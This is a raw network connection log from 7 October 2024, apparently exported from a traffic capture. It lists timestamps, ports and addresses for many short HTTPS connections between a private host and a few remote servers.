Oct 7, 2024 06:44:24.621629000 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.621675014 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.621730089 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.621853113 CEST	49776	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.621875048 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.622400045 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.622416019 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.622478008 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.622488022 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.622550011 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.622658968 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.622670889 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.633702040 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.633806944 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.633866072 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.634036064 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.634063005 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.634090900 CEST	49774	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.634104013 CEST	443	49774	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.636641026 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.636660099 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.636742115 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.636975050 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.636986971 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.647622108 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.647759914 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.647823095 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.647995949 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.648014069 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.648039103 CEST	49773	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.648049116 CEST	443	49773	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.650655985 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.650677919 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:24.650748014 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.650870085 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:24.650882006 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.267757893 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.268580914 CEST	49776	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.268606901 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.269052982 CEST	49776	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.269059896 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.272377014 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.272851944 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.272860050 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.273257971 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.273262024 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.285495996 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.286000013 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.286015987 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.286380053 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.286385059 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.304207087 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.304641008 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.304672003 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.304991007 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.304997921 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.308964968 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.309329987 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.309340954 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.309664965 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.309669971 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.370145082 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.370220900 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.370284081 CEST	49776	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.370546103 CEST	49776	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.370560884 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.370584965 CEST	49776	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.370589972 CEST	443	49776	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.373789072 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.373816967 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.373907089 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.374083996 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.374095917 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.376775026 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.376928091 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.376987934 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.377026081 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.377031088 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.377043009 CEST	49779	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.377048016 CEST	443	49779	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.379515886 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.379534960 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.379611015 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.379769087 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.379779100 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.392184973 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.392254114 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.392306089 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.392529011 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.392544985 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.392558098 CEST	49780	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.392565012 CEST	443	49780	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.395354033 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.395373106 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.395459890 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.395672083 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.395684004 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.409502029 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.409554958 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.409630060 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.409853935 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.409872055 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.409898043 CEST	49777	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.409904003 CEST	443	49777	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.413069963 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.413172960 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.413324118 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.413547993 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.413578987 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.414429903 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.414599895 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.414668083 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.414736032 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.414752960 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.414762020 CEST	49778	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.414767981 CEST	443	49778	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.417691946 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.417733908 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:25.417829990 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.418001890 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:25.418014050 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.322704077 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.322735071 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.322772026 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.323438883 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.323499918 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.323834896 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.323890924 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.323920012 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.323934078 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.324182987 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.324198961 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.324309111 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.324322939 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.324553013 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.324558020 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.324892998 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.325041056 CEST	49703	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:26.325351954 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.325360060 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.325651884 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.325658083 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.326072931 CEST	49789	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:26.326097012 CEST	443	49789	104.98.116.138	192.168.2.7
Oct 7, 2024 06:44:26.326172113 CEST	49789	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:26.328131914 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.329086065 CEST	49789	443	192.168.2.7	104.98.116.138
Oct 7, 2024 06:44:26.329108000 CEST	443	49789	104.98.116.138	192.168.2.7
Oct 7, 2024 06:44:26.329435110 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.329452991 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.329838037 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.329848051 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.329863071 CEST	443	49703	104.98.116.138	192.168.2.7
Oct 7, 2024 06:44:26.420847893 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.420913935 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.421022892 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.421227932 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.421276093 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.421304941 CEST	49781	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.421320915 CEST	443	49781	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.421654940 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.421717882 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.421777010 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.422399998 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.422399998 CEST	49783	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.422415972 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.422424078 CEST	443	49783	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.422993898 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.423051119 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.423150063 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.423465967 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.423465967 CEST	49784	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.423515081 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.423543930 CEST	443	49784	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.425005913 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.425080061 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.425698042 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.425728083 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.425748110 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.425781965 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.425867081 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.425884008 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.425884008 CEST	49785	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.425898075 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.425905943 CEST	443	49785	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.425909996 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.425975084 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.426436901 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.426479101 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.426610947 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.426625013 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.426652908 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.426733017 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.426745892 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.426789045 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.426820993 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.427679062 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.427850962 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.427953959 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.427999020 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.428016901 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.428072929 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.428211927 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.428225040 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.428373098 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.428394079 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.428416014 CEST	49782	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.428426981 CEST	443	49782	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.430180073 CEST	49794	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.430188894 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:26.430999994 CEST	49794	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.431126118 CEST	49794	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:26.431135893 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.059843063 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.060327053 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.060360909 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.060762882 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.060769081 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.067255974 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.067608118 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.067625999 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.068219900 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.068223953 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.088608027 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.089117050 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.089159966 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.089517117 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.089524031 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.098695993 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.098987103 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.099011898 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.099381924 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.099396944 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.106805086 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.107114077 CEST	49794	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.107144117 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.107494116 CEST	49794	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.107498884 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.158921957 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.158981085 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.159230947 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.159404039 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.159418106 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.159441948 CEST	49791	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.159447908 CEST	443	49791	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.161766052 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.161801100 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.163001060 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.163233995 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.163244963 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.165894985 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.166028976 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.166250944 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.166480064 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.166491985 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.166503906 CEST	49793	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.166507959 CEST	443	49793	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.168294907 CEST	49798	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.168303013 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.168462992 CEST	49798	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.168694019 CEST	49798	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.168704033 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.192231894 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.192290068 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.192493916 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.193059921 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.193082094 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.193097115 CEST	49792	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.193104982 CEST	443	49792	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.197598934 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.197611094 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.197679996 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.197983027 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.197997093 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.203404903 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.203476906 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.203705072 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.203860044 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.203872919 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.203882933 CEST	49790	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.203887939 CEST	443	49790	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.205986023 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.206007957 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.206067085 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.206214905 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.206227064 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.211730003 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.211802959 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.211873055 CEST	49794	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.212013960 CEST	49794	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.212022066 CEST	443	49794	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.216984987 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.217026949 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.217082977 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.217268944 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.217278957 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.809310913 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.817847013 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.817871094 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.819864035 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.819869041 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.830765009 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.836905003 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.842479944 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.868379116 CEST	49798	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.868386030 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.880564928 CEST	49798	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.880568981 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.881066084 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.881145000 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.896692991 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.898122072 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.898128033 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.898376942 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.898389101 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.901393890 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.901408911 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.901602983 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.901623964 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.901870012 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.901880980 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.902148008 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.902153969 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.915230989 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.915285110 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.915357113 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.915370941 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.915466070 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.915524006 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.915543079 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.915543079 CEST	49797	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.915556908 CEST	443	49797	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.915565014 CEST	443	49797	13.107.246.60	192.168.2.7
